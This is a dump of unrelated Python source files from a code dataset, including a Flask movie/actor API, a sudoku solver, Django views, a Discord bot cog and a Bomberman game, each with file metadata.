\"\"\"\n Delete an existing Actor\n Tested by:\n Success:\n - test_delete_actors\n Error:\n - test_404_delete_actors\n - test_403_delete_actors\n - test_422_delete_actors\n \"\"\"\n\n try:\n actor_id = int(actor_id)\n actor = Actor.query.get(actor_id)\n except Exception:\n abort(422)\n\n if not actor:\n return jsonify({\n \"error\": 404,\n \"message\": \"Actor wth id = {} not found.\".format(actor_id),\n \"success\": False\n }), 404\n\n try:\n actor.delete()\n except Exception:\n abort(500)\n\n return jsonify({\n \"actor_id\": actor_id,\n \"success\": True\n })\n\n @app.route(\"/movies\", methods=[\"GET\"])\n @requires_auth('read:movie')\n def get_movies(token):\n \"\"\"\n Returns paginated movies object\n Tested by:\n Success:\n - test_get_movies\n Error:\n - test_401_get_actors_bearer_missing\n - test_404_get_movies\n \"\"\"\n\n page = int(request.args.get(\"page\", 1))\n\n start = (page - 1) * ROWS_PER_PAGE\n end = start + ROWS_PER_PAGE\n\n movies = Movie.query.all()\n\n movies = [movie.format() for movie in movies]\n\n if len(movies) < start or start < 0:\n return jsonify({\n \"error\": 404,\n \"message\": \"No movies found in database.\",\n \"success\": False\n }), 404\n\n return jsonify({\n \"movies\": movies[start:end],\n \"success\": True,\n \"total_movies\": len(movies)\n })\n\n @app.route(\"/movies\", methods=[\"POST\"])\n @requires_auth('create:movie')\n def add_movie(token):\n \"\"\"\n Inserts a new movie\n Tested by:\n Success:\n - test_add_movie\n Error:\n - test_422_add_movie_title\n - test_422_add_movie_rating\n \"\"\"\n\n data = request.get_json()\n\n if not data.get(\"title\"):\n return jsonify({\n \"success\": False,\n \"error\": 422,\n \"message\": \"Movie's title is not provided.\"\n }), 422\n\n if not data.get(\"rating\"):\n return jsonify({\n \"success\": False,\n \"error\": 422,\n \"message\": \"Movie's rating is not provided.\"\n }), 422\n\n try:\n movie = Movie(\n title=data[\"title\"],\n rating=data[\"rating\"],\n release_date=data.get(\"release_date\"),\n desc=data.get(\"desc\"))\n movie.insert()\n except Exception:\n abort(500)\n\n return jsonify({\n \"success\": True,\n \"movie\": movie.format()\n })\n\n @app.route(\"/movies/\", methods=[\"PATCH\"])\n @requires_auth('edit:movie')\n def update_movie(token, movie_id):\n \"\"\"\n Edit an existing Movie\n Tested by:\n Success:\n - test_patch_movies\n Error:\n - test_422_patch_movies\n - test_404_patch_movies\n - test_401_patch_movies\n \"\"\"\n try:\n movie_id = int(movie_id)\n movie = Movie.query.get(movie_id)\n except Exception:\n abort(422)\n\n if not movie:\n return jsonify({\n \"error\": 404,\n \"message\": \"Movie wth id = {} not found.\".format(movie_id),\n \"success\": False\n }), 404\n\n data = request.get_json()\n\n movie.title = data.get('title', movie.title)\n movie.rating = data.get('rating', movie.rating)\n movie.desc = data.get('desc', movie.desc)\n movie.release_date = data.get('release_date', movie.release_date)\n\n try:\n movie.update()\n except Exception:\n abort(500)\n\n return jsonify({\n 'success': True,\n 'movie': movie.format()\n })\n\n @app.route(\"/movies/\", methods=[\"DELETE\"])\n @requires_auth('delete:movie')\n def delete_movie(token, movie_id):\n \"\"\"\n Delete an existing Movie\n Tested by:\n Success:\n - test_delete_movies\n Error:\n - test_403_delete_movies\n - test_404_delete_movies\n - test_422_delete_movies\n \"\"\"\n\n try:\n movie_id = int(movie_id)\n movie = Movie.query.get(movie_id)\n except Exception:\n abort(422)\n\n if not movie:\n return jsonify({\n \"error\": 404,\n \"message\": \"Movie wth id = {} not found.\".format(movie_id),\n \"success\": False\n }), 404\n\n try:\n movie.delete()\n except Exception:\n abort(500)\n\n return jsonify({\n \"movie_id\": movie_id,\n \"success\": True\n })\n\n @app.errorhandler(404)\n def resource_not_found(error):\n \"\"\"\n Error Handler for 404\n \"\"\"\n return jsonify({\n \"success\": False,\n \"error\": 404,\n \"message\": \"Resource not found\"\n }), 404\n\n @app.errorhandler(422)\n def unprocessable(error):\n \"\"\"\n Error Handler for 422\n \"\"\"\n return jsonify({\n \"success\": False,\n \"error\": 422,\n \"message\": \"Unprocessable\"\n }), 422\n\n @app.errorhandler(500)\n def server_error(error):\n \"\"\"\n Error Handler for 500\n \"\"\"\n return jsonify({\n \"success\": False,\n \"error\": 500,\n \"message\": \"Something went wrong!!\"\n }), 500\n\n @app.errorhandler(400)\n def bad_request(error):\n \"\"\"\n Error Handler for 400\n \"\"\"\n return jsonify({\n \"success\": False,\n \"error\": 400,\n \"message\": \"Bad Request\"\n }), 400\n\n @app.errorhandler(AuthError)\n def handle_auth_error(ex):\n \"\"\"\n Error Handler for Authorization Error\n \"\"\"\n return jsonify({\n \"success\": False,\n \"error\": ex.status_code,\n 'message': ex.error\n }), ex.status_code\n\n return app\n\n\nAPP = create_app()\n\nif __name__ == '__main__':\n APP.run(host='0.0.0.0', port=8080, debug=True)\n","sub_path":"Capstone-Project/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":10666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"239994464","text":"from django import forms\nimport datetime\n\nfrom .models import Record\n\nclass Html5DateInput(forms.DateInput):\n input_type = 'date'\n\nclass NewRecordForm(forms.ModelForm):\n date = forms.DateTimeField(initial = datetime.date.today,\n widget = Html5DateInput(format='%Y-%m-%d'), )\n class Meta:\n model = Record\n fields = [ \"category\",\n \"amount\",\n \"date\",\n \"ac_from\",\n \"ac_to\",\n \"budget\", ]\n","sub_path":"forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"381022115","text":"import os\nimport pandas as pd\n# import sqlite3 as mysql\n# from sqlite3 import Error\nimport pymysql as mysql\nfrom pymysql import Error\n\ndef connect_to_db(dbName=None):\n\n conn = mysql.connect(user='root', password='data@OSQL2021',\n host='localhost', database = dbName)\n cur = conn.cursor()\n return conn, cur\n\ndef create_db(dbName: str) -> None:\n\n conn, cur = connect_to_db()\n cur.execute(f\"CREATE DATABASE IF NOT EXISTS {dbName};\")\n conn.commit()\n cur.close()\n\ndef create_table(dbName: str) -> None:\n\n conn, cur = connect_to_db(dbName)\n sqlFile = 'schema.sql'\n fd = open(sqlFile, 'r')\n readSqlFile = fd.read()\n fd.close()\n\n sqlCommands = readSqlFile.split(';')\n\n for command in sqlCommands:\n try:\n res = cur.execute(command)\n except Exception as ex:\n print(\"Command skipped: \", command)\n print(ex)\n conn.commit()\n cur.close()\n return\n\ndef insert_to_table(dbName: str, df: pd.DataFrame, table_name: str) -> None:\n\n conn, cur = connect_to_db(dbName)\n\n for _, row in df.iterrows():\n sqlQuery = f\"\"\"INSERT INTO {table_name} (ID, flow_99, flow_max, flow_median, flow_total, n_obs)\n VALUES(%s, %s, %s, %s, %s, %s);\"\"\"\n data = [row[i] for i in range(len(row))]\n print(data)\n try:\n # Execute the SQL command\n cur.execute(sqlQuery, data)\n # Commit your changes in the database\n conn.commit()\n #print(\"Data Inserted Successfully\")\n except Exception as e:\n conn.rollback()\n print(\"Error: \", e)\n return\n\nif __name__ == \"__main__\":\n create_db(dbName='demo_dbt')\n connect_to_db(dbName='demo_dbt')\n create_table(dbName='demo_dbt')\n for filename in os.listdir('../week11/station/'):\n df = pd.read_csv('../week11/station/'+filename, engine='pyarrow').head(1)\n print(df)\n df = df.fillna(value='NULL')\n insert_to_table(dbName='demo_dbt', df=df, table_name='demo_dbt')","sub_path":"Scripts/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":2050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"470065081","text":"import pygame\n\nimport argparser\n\nimport lib\nimport ai.neatinterface.neatcore\n\npygame.init()\n\nif __name__ == \"__main__\":\n args = argparser.get_args()\n\n # pygame initialization\n pygame.init()\n\n # initialize properly and make links make them as common resources\n # for other modules\n # I admit this looks pretty hideous but python has no good way of\n # handling singletons\n lib.common.settings = settings = lib.Settings(args)\n lib.common.display = display = lib.Display()\n lib.common.clock = clock = lib.Clock()\n lib.common.events = events = lib.Events()\n\n # setting game mode\n if args.ai == \"neat\":\n lib.common.core = core = ai.neatinterface.neatcore.NeatCore()\n else:\n lib.common.core = core = lib.Core()\n\n core.new_game()\n\n # main loop\n while True:\n clock.tick()\n core.update()\n\n if core.game_over():\n core.new_game()\n continue\n\n display.draw(core.get_surface())\n","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"192176184","text":"from widgets.cwidget import *\n\nclass NCD_UI(DirTabWidget):\n\n def __init__(self,title):\n # 就诊预约\n nodes= ['疾病筛查','慢病档案','预约就诊']\n super(NCD_UI,self).__init__(title,nodes)\n\n\n def addTab(self,title):\n super(NCD_UI, self).addTab(title)\n if title=='疾病筛查':\n from .doubtful import Doubtful\n widget=Doubtful()\n self.rwidget.addPage(widget,Icon('疑似慢病'),title)\n\n","sub_path":"mbgl/ncd_ui.py","file_name":"ncd_ui.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"514031283","text":"\n\ndef disassemble(s):\n s = s.replace(\" \", \"\").lower().strip()\n d = {}\n for c in s:\n if c in d:\n d[c] = d[c] + 1\n else:\n d[c] = 1\n return d\n\ndef compare(s1, s2):\n return disassemble(s1) == disassemble(s2)\n\n\ndef main():\n s1 = open(\"text1\").read()\n s2 = open(\"text2\").read()\n return compare(s1, s2)\n\n\nif __name__ == \"__main__\":\n main()\n\n\n","sub_path":"compare.py","file_name":"compare.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"294640224","text":"import numpy as np\n\nfrom sklearn import metrics\n\nfrom reservoirpy import ESN, mat_gen\nfrom reservoirpy.hyper import research, plot_hyperopt_report\n\n\nif __name__ == \"__main__\":\n\n def objective(dataset, config, *, iss, N, sr, leak, ridge):\n\n # unpack train and test data, with target values.\n train_data, test_data = dataset\n x_train, y_train = train_data\n x_test, y_test = test_data\n\n x_train, y_train = x_train.reshape(1, -1), y_train.reshape(1, -1)\n x_test, y_test = x_test.reshape(1, -1), y_test.reshape(1, -1)\n\n nb_features = x_train.shape[1]\n\n instances = config[\"instances_per_trial\"]\n\n losses = []; rmse = [];\n for n in range(instances):\n # builds an ESN given the input parameters\n W = mat_gen.fast_spectral_initialization(N=N, sr=sr)\n\n Win = mat_gen.generate_input_weights(nbr_neuron=N, dim_input=nb_features,\n input_bias=True, input_scaling=iss)\n\n\n reservoir = ESN(lr=leak, W=W, Win=Win, input_bias=True, ridge=ridge)\n\n\n # train and test the model\n reservoir.train(inputs=[x_train], teachers=[y_train],\n wash_nr_time_step=20, verbose=False, workers=1)\n\n outputs, _ = reservoir.run(inputs=[x_test], verbose=False, workers=1)\n\n losses.append(metrics.mean_squared_error(outputs[0], y_test))\n rmse.append(metrics.mean_squared_error(outputs[0], y_test, squared=False))\n\n # returns a dictionnary of metrics. The 'loss' key is mandatory when\n # using Hyperopt.\n return {'loss': np.mean(losses),\n 'rmse': np.mean(rmse)}\n\n # 10,000 timesteps of Mackey-Glass timeseries\n mackey_glass = np.loadtxt('MackeyGlass_t17.txt').reshape(-1, 1)\n\n # split data\n train_frac = 0.6\n train_start, train_end = 0, int(train_frac * len(mackey_glass))\n test_start, test_end = train_end, len(mackey_glass) - 2\n\n # pack it\n train_data = (mackey_glass[train_start:train_end], mackey_glass[train_start+1:train_end+1])\n test_data = (mackey_glass[test_start:test_end], mackey_glass[test_start+1:test_end+1])\n\n dataset = (train_data, test_data)\n\n x_train, y_train = train_data\n\n # run the random search\n best = research(objective, dataset, \"mackeyglass-config.json\", \"report\")\n\n # plot the results (fetch results from the report directory)\n fig = plot_hyperopt_report(\"report/hyperopt-mackeyglass\", params=[\"sr\", \"leak\", \"ridge\"], metric='loss')\n\n fig.savefig(\"test.png\")\n","sub_path":"examples/Optimization of hyperparameters/minimal-hpt.py","file_name":"minimal-hpt.py","file_ext":"py","file_size_in_byte":2575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"397668055","text":"from datetime import datetime, timedelta\n\nimport discord\nimport pytz\nfrom discord.ext import commands\nfrom googletrans import Translator\n\n\nclass FranXX:\n def __init__(self, bot):\n self.bot = bot\n self.trans = Translator()\n\n async def get_next_weekday(self, startdate, day):\n days = {\n \"Monday\": 0,\n \"Tuesday\": 1,\n \"Wednesday\": 2,\n \"Thursday\": 3,\n \"Friday\": 4,\n \"Saturday\": 5,\n \"Sunday\": 6\n }\n weekday = days[day]\n d = datetime.strptime(startdate, '%Y-%m-%d')\n t = timedelta((7 + weekday - d.weekday()) % 7)\n return (d + t).strftime('%Y-%m-%d')\n\n async def get_remaining_time(self):\n day = \"Saturday\"\n hour = \"23:30\"\n jp_time = datetime.now(pytz.timezone(\"Japan\"))\n air_date = await self.get_next_weekday(jp_time.strftime('%Y-%m-%d'), day)\n time_now = jp_time.replace(tzinfo=None)\n show_airs = datetime.strptime(f'{air_date} - {hour.strip()}', '%Y-%m-%d - %H:%M')\n remaining = show_airs - time_now\n if remaining.days < 0:\n return f'{6} Days {remaining.seconds // 3600} Hours and {(remaining.seconds // 60)%60} Minutes.'\n else:\n return (f'{remaining.days} Days '\n f'{remaining.seconds // 3600} Hours '\n f'and {(remaining.seconds // 60)%60} Minutes.')\n\n @commands.command(aliases=[\"episode\", \"nextepisode\", \"airtime\"])\n async def next(self, ctx):\n \"\"\"Countdown to next episode of the anime.\"\"\"\n remaining = await self.get_remaining_time()\n embed = discord.Embed(title=\"Darling in the FranXX\", color=0x0066CC)\n embed.add_field(name=\"Next Episode\", value=remaining)\n embed.set_footer(text='Hype Up Bois')\n embed.set_thumbnail(url=\"https://myanimelist.cdn-dena.com/images/anime/1614/90408.jpg\")\n await ctx.send(embed=embed)\n\n async def translate(self, txt):\n res = await self.bot.loop.run_in_executor(None, self.trans.translate, txt, 'en', 'ja')\n return res.text\n\n async def on_message_edit(self, old, new):\n if new.author == new.guild.me:\n return\n if new.channel.id == 392840122158022656:\n embed = new.embeds[0]\n embed.description = await self.translate(embed.description)\n await new.channel.send(\"Translated:\", embed=embed)\n\n\ndef setup(bot):\n bot.add_cog(FranXX(bot))\n","sub_path":"cogs/franxx.py","file_name":"franxx.py","file_ext":"py","file_size_in_byte":2465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"369143516","text":"import numpy as np\nimport pandas as pd\n\nimport data_utils\n\ntrain_dir = 'dataset/programs_800'\ntest_dir = 'dataset/programs_200'\nsaved_token_table_path = 'saved_model/token_table.csv'\n\n\ndef create_token_table(dataset):\n token_list = []\n for token in dataset:\n token_list.append(data_utils.token_to_string(token))\n token_set = data_utils.get_token_set(dataset)\n num_token = len(token_set)\n token_cate_list = list(token_set)\n print(num_token)\n token_table = pd.DataFrame(\n np.zeros(num_token * num_token).reshape(num_token, num_token), index=token_cate_list, columns=token_cate_list)\n\n for index, token in enumerate(token_list):\n if index > 0:\n cur_token = token\n pre_token = token_list[index - 1]\n token_table[cur_token][pre_token] += 1\n\n return token_table\n\n\n\ndef test_benchmark(token_table):\n test_data = data_utils.load_data_with_file(test_dir)\n num_accurate = 0\n mistake = []\n\n for token_sequence in test_data:\n prefix, expection, suffix = data_utils.create_hole(token_sequence, 1)\n pre_token = prefix[-1]\n pre_token = data_utils.token_to_string(pre_token)\n# print(len(expection))\n expection = data_utils.token_to_string(expection[0])\n prediction_list = token_table[pre_token]\n prediction = prediction_list.argmax()\n if prediction == expection:\n num_accurate += 1\n else:\n miss_token = {'pred':prediction, 'expc':expection}\n mistake.append(miss_token)\n # accuracy /= len(test_data)\n # print(mistake[:10])\n # print(len(mistake))\n # print(len(test_data), num_accurate)\n return num_accurate/len(test_data)\n\n\ndef save_table(token_table):\n token_table.to_csv(saved_token_table_path)\n\ndef load_table():\n return pd.read_csv(saved_token_table_path, index_col=0)#index_col表示已第几列为index,默认为None,会自动加上range的为index\n\n\nif __name__ == '__main__':\n\n use_saved_table = True\n if use_saved_table:\n token_table = load_table()\n else:\n dataset = data_utils.load_tokens(True)\n token_table = create_token_table(dataset)\n\n\n accuracy = test_benchmark(token_table)\n print(accuracy)\n\n","sub_path":"benchmark.py","file_name":"benchmark.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"576486132","text":"class Klasa:\n def __init__(self):\n self.atrybut = 17\n\n def dodaj(self, skladnik):\n self.atrybut += skladnik\n\n\nk = Klasa()\nprint(k.atrybut)\n\nk.dodaj(100)\nprint(k.atrybut)\n\n# To jest przykład! Proszę nie używać poniższej składni programach\nKlasa.dodaj(k, 100) # dokładnie to samo co: k.dodaj(100)\nprint(k.atrybut)\n","sub_path":"zajecia14/self_wprost.py","file_name":"self_wprost.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"238337854","text":"from collections import Counter\n\ndef cross(A, B):\n \"Cross product of elements in A and elements in B.\"\n return [s+t for s in A for t in B]\n\nrows = 'ABCDEFGHI'\ncols = '123456789'\n\nboxes = cross(rows, cols)\nrow_units = [cross(r, cols) for r in rows]\ncolumn_units = [cross(rows, c) for c in cols]\nsquare_units = [cross(rs, cs) for rs in ('ABC','DEF','GHI') for cs in ('123','456','789')]\ndiagonals = [[x+y for x,y in zip(rows,cols)]] + [[x+y for x,y in zip(reversed(rows), cols)]]\nunitlist = row_units + column_units + square_units + diagonals\nunits = dict((s, [u for u in unitlist if s in u]) for s in boxes)\npeers = dict((s, set(sum(units[s],[]))-set([s])) for s in boxes)\nassignments = []\n\ndef assign_value(values, box, value):\n \"\"\"\n Please use this function to update your values dictionary!\n Assigns a value to a given box. If it updates the board record it.\n \"\"\"\n values[box] = value\n if len(value) == 1:\n assignments.append(values.copy())\n return values\n\ndef get_unit_values(unit, values):\n \"\"\"get the key:values pairs associated with a given unit\n Args:\n unit(list): a list of the form ['A1', 'A2', ..., 'A9']\n values(dict): a dictionary of the form {'box_name': '123456789', ...}\n\n Returns:\n a unit dictionary with the key being the box #s (i.e. A2) and the values being a string\n representing possible values (i.e. '1459')\n \"\"\"\n unit_dict = {}\n for i in range(0, len(unit)):\n unit_dict[unit[i]] = values[unit[i]]\n return unit_dict\n\ndef get_unit_counts(unit_values):\n \"\"\"get the counts of the values contained in a given unit\n Args:\n unit_values(dict): a dictionary of the form {'box_name': '123456789', ...}\n\n Returns:\n a counter object with keys being potential box values (i.e. '1245') and values being their count occurrence\n \"\"\"\n unit_counts = Counter()\n for i in unit_values:\n unit_counts[unit_values[i]] += 1\n return unit_counts\n\ndef get_square_from_box(box):\n \"\"\"return the square a given box is in\n Args:\n box(string): a string representing the box name/coordinates in the form \"A2\"\n\n Returns:\n a list from square_units representing the square the box given resides in\n \"\"\"\n for square in square_units:\n for s in square:\n if s == box:\n return square\n\ndef naked_twins(values):\n \"\"\"Eliminate values using the naked twins strategy.\n Args:\n values(dict): a dictionary of the form {'box_name': '123456789', ...}\n\n Returns:\n the values dictionary with the naked twins eliminated from peers.\n \"\"\"\n\n for unit in unitlist:\n unit_values = get_unit_values(unit, values)\n unit_counts = get_unit_counts(unit_values)\n twins = []\n for c in unit_counts:\n if unit_counts[c] == 2 and len(c) == 2:\n for r in unit_values:\n if unit_values[r] == c:\n twins.append(r)\n # eliminate the twins value from any other boxes in that diagonal\n for t in twins:\n for box in unit:\n if box not in twins and values[box] != values[t]:\n for v in values[t]:\n values = assign_value(values, box, values[box].replace(v, ''))\n\n return values\n\ndef grid_values(grid_str):\n \"\"\"Convert grid string into {: } dict with '123456789' value for empties.\n\n Args:\n grid: Sudoku grid in string form, 81 characters long\n Returns:\n Sudoku grid in dictionary form:\n - keys: Box labels, e.g. 'A1'\n - values: Value in corresponding box, e.g. '8', or '123456789' if it is empty.\n \"\"\"\n grid = {}\n for i in range(0, len(row_units)):\n for j in range(0, len(row_units[i])):\n box_value = grid_str[(i*9) + j]\n if box_value == '.':\n grid[row_units[i][j]] = '123456789'\n else:\n grid[row_units[i][j]] = box_value\n\n return grid\n pass\n\ndef display(values):\n \"\"\"\n Display the values as a 2-D grid.\n Input: The sudoku in dictionary form\n Output: None\n \"\"\"\n width = 1+max(len(values[s]) for s in boxes)\n line = '+'.join(['-'*(width*3)]*3)\n for r in rows:\n print(''.join(values[r+c].center(width)+('|' if c in '36' else '')\n for c in cols))\n if r in 'CF': print(line)\n print\n\ndef find_peers(box):\n \"\"\" Find all peers of a given box\n Args:\n box(string): a string representing the box name/coordinates in the form \"A2\"\n\n Returns:\n a set of all peers of a given box (set of peers from row, column, square, and diagonal)\n \"\"\"\n\n result = set()\n for unit in unitlist:\n for u in unit:\n if u == box:\n result = set(list(result) + unit)\n\n result.remove(box)\n return result\n\ndef eliminate(values):\n \"\"\"Eliminate values from peers of each box with a single value.\n\n Go through all the boxes, and whenever there is a box with a single value,\n eliminate this value from the set of values of all its peers.\n\n Args:\n values: Sudoku in dictionary form.\n Returns:\n Resulting Sudoku in dictionary form after eliminating values.\n \"\"\"\n for c in values:\n if len(values[c]) == 1:\n peers = find_peers(c)\n for p in peers:\n values = assign_value(values, p, values[p].replace(values[c], ''))\n\n return values\n\ndef only_choice(values):\n \"\"\"Finalize all values that are the only choice for a unit.\n\n Go through all the units, and whenever there is a unit with a value\n that only fits in one box, assign the value to this box.\n\n Input: Sudoku in dictionary form.\n Output: Resulting Sudoku in dictionary form after filling in only choices.\n \"\"\"\n for unit in unitlist:\n unit_counter = Counter()\n for box in unit:\n for i in values[box]:\n unit_counter[i] += 1\n for i in unit_counter:\n if unit_counter[i] == 1:\n for s in unit:\n if i in values[s]:\n values = assign_value(values, s, str(i))\n\n return values\n\ndef reduce_puzzle(values):\n \"\"\"Use all constraint techniques to reduce the solution space of a given sudoku puzzle\n\n Args:\n values: Sudoku in dictionary form.\n Returns:\n Resulting Sudoku in dictionary form after eliminating values.\n \"\"\"\n stalled = False\n while not stalled:\n # Check how many boxes have a determined value\n solved_values_before = len([box for box in values.keys() if len(values[box]) == 1])\n # Use the Eliminate Strategy\n eliminate(values)\n # Use the Only Choice Strategy\n only_choice(values)\n # Use the naked twins strategy\n naked_twins(values)\n # Check how many boxes have a determined value, to compare\n solved_values_after = len([box for box in values.keys() if len(values[box]) == 1])\n # If no new values were added, stop the loop.\n stalled = solved_values_before == solved_values_after\n # Sanity check, return False if there is a box with zero available values:\n if len([box for box in values.keys() if len(values[box]) == 0]):\n return False\n return values\n\n\ndef search(values):\n \"Using depth-first search and propagation, create a search tree and solve the sudoku.\"\n # First, reduce the puzzle using the previous function\n values = reduce_puzzle(values)\n # Choose one of the unfilled squares with the fewest possibilities\n if values == False:\n return False\n\n min_val = 10\n box = None\n completed = True\n\n for c in values:\n if len(values[c]) > 1:\n completed = False\n\n if len(values[c]) < min_val:\n min_val = len(values[c])\n box = c\n\n if completed == True:\n return values\n # Now use recursion to solve each one of the resulting sudokus, and if one returns a value (not False), return that answer!\n # If you're stuck, see the solution.py tab!\n for c in values[box]:\n tmp_values = values.copy()\n tmp_values[box] = c\n attempt = search(tmp_values)\n if attempt:\n return attempt\n\ndef solve(grid):\n \"\"\"\n Find the solution to a Sudoku grid.\n Args:\n grid(string): a string representing a sudoku grid.\n Example: '2.............62....1....7...6..8...3...9...7...6..4...4....8....52.............3'\n Returns:\n The dictionary representation of the final sudoku grid. False if no solution exists.\n \"\"\"\n return search(grid_values(grid))\n\n\nif __name__ == '__main__':\n diag_sudoku_grid = '2.............62....1....7...6..8...3...9...7...6..4...4....8....52.............3'\n #diag_sudoku_grid = '.......14.94..1....7....6.5......1.....8.6....8..3.5.......4..7......2......27...'\n display(solve(diag_sudoku_grid))\n\n try:\n from visualize import visualize_assignments\n visualize_assignments(assignments)\n\n except SystemExit:\n pass\n except:\n print('We could not visualize your board due to a pygame issue. Not a problem! It is not a requirement.')\n","sub_path":"solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":9248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"552085315","text":"from django.shortcuts import render, redirect\nfrom my_post_app.models import Post\nfrom my_post_app.forms import PostForm\nfrom django.shortcuts import get_object_or_404\n\ndef get_post(request):\n posts = Post.objects.all()\n return render(request, 'all_posts.html', locals())\n\ndef detail_post(request, pk):\n post = Post.objects.get(id=pk)\n # post = Post.objects.filter(id=pk)\n return render(request, 'detail_post.html', locals())\n\ndef delete_post(request, pk):\n post = get_object_or_404(Post, id=pk)\n post.delete()\n return redirect('post')\n\ndef create_post(request):\n if request.method == 'POST':\n name = request.POST.get(\"name\")\n print(name)\n description = request.POST.get(\"description\")\n print(description)\n hashtag = request.POST.get(\"hashtag\")\n print(hashtag)\n model = Post\n if name and description and hashtag:\n model.objects.create(name=name, description=description)\n return redirect('post')\n return render(request, 'create_post.html', locals())\n\ndef new_create(request):\n form = PostForm\n model = Post\n if request.method == 'POST':\n form = PostForm(request.POST)\n if form.is_valid():\n name = form.cleaned_data.get('name')\n description = form.cleaned_data.get('description')\n model.objects.create(name=name, description=description)\n return redirect('post')\n return render(request, 'new_create.html', locals())\n","sub_path":"my_post_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"436426386","text":"import sys\r\n\r\nlist1 = [4, 2, 1, 6, 7, 9, 20, 3, 5, 5]\r\n\r\nprint(\"Extra 1\")\r\nlist2 = []\r\nfor x in list1:\r\n if x < 5:\r\n\t list2.append(x)\r\nprint(list2)\r\n\r\nprint(\"\\nExtra 2\")\r\nlist2 = []\r\n[list2.append(x) for x in list1 if x < 5]\r\nprint(list2)\r\n\r\nprint(\"\\nExtra 3\")\r\nlist2 = []\r\nnum = int(input(\"Enter a number: \"))\r\nfor x in list1:\r\n if x < num:\r\n\t list2.append(x)\r\nprint(list2)\r\nsys.exit()","sub_path":"ListLessThan.py","file_name":"ListLessThan.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"343679163","text":"from __future__ import print_function\nimport random\nfrom person import *\n\n\nclass Enemy(person):\n\n def makeEnemy(self, x, y, Matrix, array):\n flag = 0\n for i in range(x, x + 2):\n for j in range(y, y + 4):\n temp = Matrix[i][j]\n if temp == 'X' and temp == '/' and temp == 'E' and temp == 'B':\n flag = 1\n break\n else:\n pass\n if flag == 1:\n break\n else:\n pass\n\n if flag == 1:\n x = random.randint(1, 20) * 2\n y = random.randint(1, 20) * 4\n makeEnemy(x, y, Matrix, array)\n else:\n array.append([x, y])\n for i in range(x, x + 2):\n for j in range(y, y + 4):\n Matrix[i][j] = 'E'\n\n def generateEnemy(self, Matrix, array):\n count = 0\n while count < 4:\n eX = random.randint(2, 38)\n eY = random.randint(4, 76)\n if (eX % 4 == 0 and eY % 8 == 4) or (eX % 4 == 2 and eY % 4 == 0):\n # print(\"yeaaaaaaaaaaaaaaaaaaa\")\n self.makeEnemy(eX, eY, Matrix, array)\n count = count + 1\n else:\n pass\n\n def moveRight(self, array, Matrix):\n x = array[0]\n y = array[1]\n if self.checkR(x, y, Matrix) == 1 or self.checkR(x, y, Matrix) == 3:\n for i in range(x, x + 2):\n for j in range(y, y + 4):\n # array[i][j]=0\n Matrix[i][j] = ' '\n\n for i in range(x, x + 2):\n for j in range(y + 4, y + 8):\n Matrix[i][j] = 'E'\n array[1] = array[1] + 4\n return 1\n else:\n return 0\n\n def moveLeft(self, array, Matrix):\n x = array[0]\n y = array[1]\n if self.checkL(x, y, Matrix) == 1 or self.checkR(x, y, Matrix) == 3:\n for i in range(x, x + 2):\n for j in range(y, y + 4):\n Matrix[i][j] = ' '\n\n for i in range(x, x + 2):\n for j in range(y - 4, y):\n Matrix[i][j] = 'E'\n array[1] = array[1] - 4\n return 1\n else:\n return 0\n\n def moveUp(self, array, Matrix):\n x = array[0]\n y = array[1]\n if self.checkU(x, y, Matrix) == 1 or self.checkR(x, y, Matrix) == 3:\n for i in range(x, x + 2):\n for j in range(y, y + 4):\n Matrix[i][j] = ' '\n\n for i in range(x - 2, x):\n for j in range(y, y + 4):\n Matrix[i][j] = 'E'\n array[0] = array[0] - 2\n return 1\n else:\n return 0\n\n def moveDown(self, array, Matrix):\n x = array[0]\n y = array[1]\n if self.checkD(x, y, Matrix) == 1 or self.checkR(x, y, Matrix) == 3:\n # print(1)\n for i in range(x, x + 2):\n for j in range(y, y + 4):\n # array[i][j]=0\n Matrix[i][j] = ' '\n\n for i in range(x + 2, x + 4):\n for j in range(y, y + 4):\n Matrix[i][j] = 'E'\n array[0] = array[0] + 2\n return 1\n else:\n return 0\n\n def move(self, array, Matrix):\n p = len(array)\n for i in range(p):\n while True:\n mover = random.randint(1, 4)\n if mover == 1:\n if self.moveRight(array[i], Matrix) == 1:\n break\n\n elif mover == 2:\n if self.moveLeft(array[i], Matrix) == 1:\n break\n\n elif mover == 3:\n if self.moveUp(array[i], Matrix) == 1:\n break\n\n elif mover == 4:\n if self.moveDown(array[i], Matrix) == 1:\n break\n\n def destroyBomber(self, array, array1, Matrix):\n p = len(array)\n for i in range(p):\n x = array[i][0]\n y = array[i][1]\n if array1[x][y] == 1:\n for i in range(2):\n for j in range(4):\n array1[i + 2][j + 4] = 1\n array1[x + i][y + j] = 0\n Matrix[x + i][y + j] = ' '\n return 1\n return 